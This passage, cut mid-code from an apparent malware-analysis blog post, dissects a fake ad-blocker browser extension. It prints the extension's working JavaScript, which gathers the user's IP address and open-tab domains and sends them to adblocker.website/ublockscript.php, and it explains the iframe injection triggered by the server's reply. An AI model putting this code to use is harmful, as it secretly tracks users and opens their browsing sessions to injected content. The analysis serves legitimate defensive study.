class=\"s2\">&quot;https:\/\/api.ipify.org\/?format=json&quot;<\/span><span class=\"w\"> <\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">onreadystatechange<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">readyState<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">4<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">200<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">list<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">parse<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr2<\/span><span class=\"p\">.<\/span><span class=\"nx\">responseText<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"nx\">myIpAddressFunction<\/span><span class=\"p\">(<\/span><span class=\"nx\">list<\/span><span class=\"p\">.<\/span><span class=\"nx\">ip<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">myIpAddressFunction<\/span><span class=\"p\">(<\/span><span class=\"nx\">u_ip_address<\/span><span class=\"p\">){<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">setItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;u_ip_address&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">u_ip_address<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Again, it uses yet another free web service for this: the open\n<a href=\"https:\/\/www.ipify.org\/\">api.ipify.org<\/a> service is known to be used for diverse\npurposes, including nefarious ones. Apparently, some of <a href=\"https:\/\/www.rdegges.com\/2018\/to-30-billion-and-beyond\/\">its\nburst traffic is mainly caused by malware<\/a>.<\/p>\n<p>Besides tracking the victim's IP, there is also some code for\ntracking each domain the victim is visiting:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * Description: stored all the open tabs in an array<\/span>\n<span class=\"cm\"> * return void<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">save_all_tabs_opened<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">local_tabs_domains<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">[];<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">browser<\/span><span class=\"p\">.<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">query<\/span><span class=\"p\">({},<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs<\/span><span class=\"p\">){<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">tabs<\/span><span class=\"p\">.<\/span><span class=\"nx\">forEach<\/span><span class=\"p\">(<\/span><span class=\"kd\">function<\/span><span class=\"p\">(<\/span><span class=\"nx\">tab<\/span><span class=\"p\">){<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">query_string<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">tab<\/span><span class=\"p\">.<\/span><span class=\"nx\">url<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">get_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">query_string<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain<\/span><span class=\"w\"> <\/span><span class=\"o\">===<\/span><span class=\"w\"> <\/span><span class=\"kc\">undefined<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\"> <\/span><span class=\"k\">else<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">.<\/span><span class=\"nx\">push<\/span><span class=\"p\">(<\/span><span class=\"nx\">domain<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">}<\/span><span class=\"w\">                       <\/span>\n<span class=\"w\">       <\/span><span class=\"p\">});<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">save_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">});<\/span><span class=\"w\">     <\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Surprisingly, the malware invests some effort to strip the\nnon-domain part of the URL:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * proper get Domain without any parameter<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">get_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">input<\/span><span class=\"p\">){<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"k\">try<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span><span class=\"w\">       <\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_arr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">input<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;\/&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">output_www<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_arr<\/span><span class=\"p\">[<\/span><span class=\"mf\">2<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">find_str<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;www.&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">replace_str<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;&quot;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">output<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">output_www<\/span><span class=\"p\">.<\/span><span class=\"nx\">replace<\/span><span class=\"p\">(<\/span><span class=\"nx\">find_str<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">replace_str<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"nx\">output<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">catch<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">err<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Domain undefined!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The domain tracking generates some tracking events:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cm\">\/**<\/span>\n<span class=\"cm\"> * Hold the values in an global variable<\/span>\n<span class=\"cm\"> *\/<\/span>\n<span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">save_domain<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">();<\/span>\n<span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"p\">.<\/span><span class=\"nx\">getTime<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"o\">=<\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span><span class=\"nx\">i<\/span><span class=\"o\">&lt;<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"nx\">i<\/span><span class=\"o\">++<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">]<\/span><span class=\"o\">===<\/span><span class=\"kc\">undefined<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">continue<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">single_track<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;domain&quot;<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">tabs_domains<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">],<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;lastUpdated&quot;<\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;fCount&quot;<\/span><span class=\"o\">:<\/span><span class=\"mf\">1<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">           <\/span><span class=\"s2\">&quot;tPointer&quot;<\/span><span class=\"o\">:<\/span><span class=\"nx\">starting_n_get_time<\/span><span class=\"p\">};<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">.<\/span><span class=\"nx\">push<\/span><span class=\"p\">(<\/span><span class=\"nx\">single_track<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Those events are passed with the collected campaign ID, the external IP address etc. to the actual send function:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">restriction_on_url<\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">vFlag<\/span><span class=\"w\"> <\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"o\">===<\/span><span class=\"kc\">undefined<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">return<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nb\">Date<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">msg_needle<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;&#39;<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">end_n_get_time<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">d_date<\/span><span class=\"p\">.<\/span><span class=\"nx\">getTime<\/span><span class=\"p\">();<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mf\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">.<\/span><span class=\"nx\">length<\/span><span class=\"w\"> <\/span><span class=\"o\">&gt;<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">+=<\/span><span class=\"w\"> <\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">[<\/span><span class=\"nx\">i<\/span><span class=\"p\">].<\/span><span class=\"nx\">domain<\/span><span class=\"o\">==<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">       <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">p_ip_address<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;u_ip_address&#39;<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;campaignID&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">uuid<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\">    <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;uuid&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"nx\">campaignId<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"p\">.<\/span><span class=\"nx\">substring<\/span><span class=\"p\">(<\/span><span class=\"mf\">0<\/span><span class=\"p\">,<\/span><span class=\"mf\">5<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">identifier<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">campaignId<\/span><span class=\"o\">+<\/span><span class=\"nx\">uuid<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">identifier<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">args<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"s1\">&#39;tracking_updates&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">tracking_updates<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;domain_name_passed&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">domain_name_passed<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;vFlag&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">vFlag<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;i&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">i<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s2\">&quot;min_x_second_opened_global&quot;<\/span><span class=\"o\">:<\/span><span class=\"nx\">min_x_second_opened_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;parameter_2_global&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">parameter_2_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;parameter_1_global&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">parameter_1_global<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;end_n_get_time&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">end_n_get_time<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;p_ip_address&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">p_ip_address<\/span><span class=\"p\">,<\/span>\n<span class=\"w\">               <\/span><span class=\"s1\">&#39;identifier&#39;<\/span><span class=\"o\">:<\/span><span class=\"nx\">identifier<\/span><span class=\"p\">};<\/span>\n<span class=\"w\">    <\/span><span class=\"c1\">\/\/tracking_updates[i].lastUpdated = end_n_get_time;<\/span>\n<span class=\"w\">    <\/span><span class=\"nx\">triggerRequest<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;sfile&#39;<\/span><span class=\"p\">,<\/span><span class=\"s1\">&#39;POST&#39;<\/span><span class=\"p\">,<\/span><span class=\"nx\">args<\/span><span class=\"p\">);<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>This sensitive information is sent to <code>https:\/\/adblocker.website\/ublockscript.php<\/code> in <code>triggerRequest()<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kd\">function<\/span><span class=\"w\"> <\/span><span class=\"nx\">triggerRequest<\/span><span class=\"p\">(<\/span><span class=\"nx\">qstr<\/span><span class=\"p\">,<\/span><span class=\"nx\">type<\/span><span class=\"p\">,<\/span><span class=\"nx\">args<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">param<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kc\">null<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryCode<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;BR&#39;<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">countryCode<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">localStorage<\/span><span class=\"p\">.<\/span><span class=\"nx\">getItem<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;countryCode&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">countryCode<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;https:\/\/adblocker.website\/ublockscript.php&#39;<\/span><span class=\"p\">;<\/span>\n\n<span class=\"w\">   <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"ow\">new<\/span><span class=\"w\"> <\/span><span class=\"nx\">XMLHttpRequest<\/span><span class=\"p\">();<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">open<\/span><span class=\"p\">(<\/span><span class=\"nx\">type<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">url<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kc\">true<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">setRequestHeader<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;Content-type&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;application\/x-www-form-urlencoded&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"o\">!<\/span><span class=\"nx\">args<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"kc\">null<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">   <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">   <\/span><span class=\"p\">{<\/span><span class=\"w\">  <\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;POST REQUEST!&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">       <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">send<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;tracking_updates=&quot;<\/span><span class=\"o\">+<\/span><span class=\"nb\">JSON<\/span><span class=\"p\">.<\/span><span class=\"nx\">stringify<\/span><span class=\"p\">(<\/span><span class=\"nx\">args<\/span><span class=\"p\">));<\/span><span class=\"w\">     <\/span>\n<span class=\"w\">   <\/span><span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Actually, the function does multiple things besides just sending\nthe data. If the server sends a certain response, this function\nsneakily injects an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Framing_(World_Wide_Web)\"><code>iframe<\/code><\/a> with a server supplied URL\ninto each opened web page. With that feature the attacker can\ndynamically inject more evil Java-Script into the victim's web\nsessions, possibly targeting only certain victims specifically.\nThink more tracking, stealing of user session data, in-browser\ncrypto-coin mining, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Botnet\">botnet<\/a> client or something like that.<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"w\">   <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">onreadystatechange<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"kd\">function<\/span><span class=\"p\">()<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">       <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">readyState<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">4<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">status<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"mf\">200<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">           <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">xhr<\/span><span class=\"p\">.<\/span><span class=\"nx\">responseText<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">           <\/span><span class=\"k\">if<\/span><span class=\"p\">(<\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">indexOf<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;params&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">!=-<\/span><span class=\"mf\">1<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">           <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">               <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">array<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">result<\/span><span class=\"p\">.<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;=&quot;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"nx\">configParams<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nx\">array<\/span><span class=\"p\">[<\/span><span class=\"mf\">1<\/span><span class=\"p\">].<\/span><span class=\"nx\">split<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;,&quot;<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"nx\">console<\/span><span class=\"p\">.<\/span><span class=\"nx\">log<\/span><span 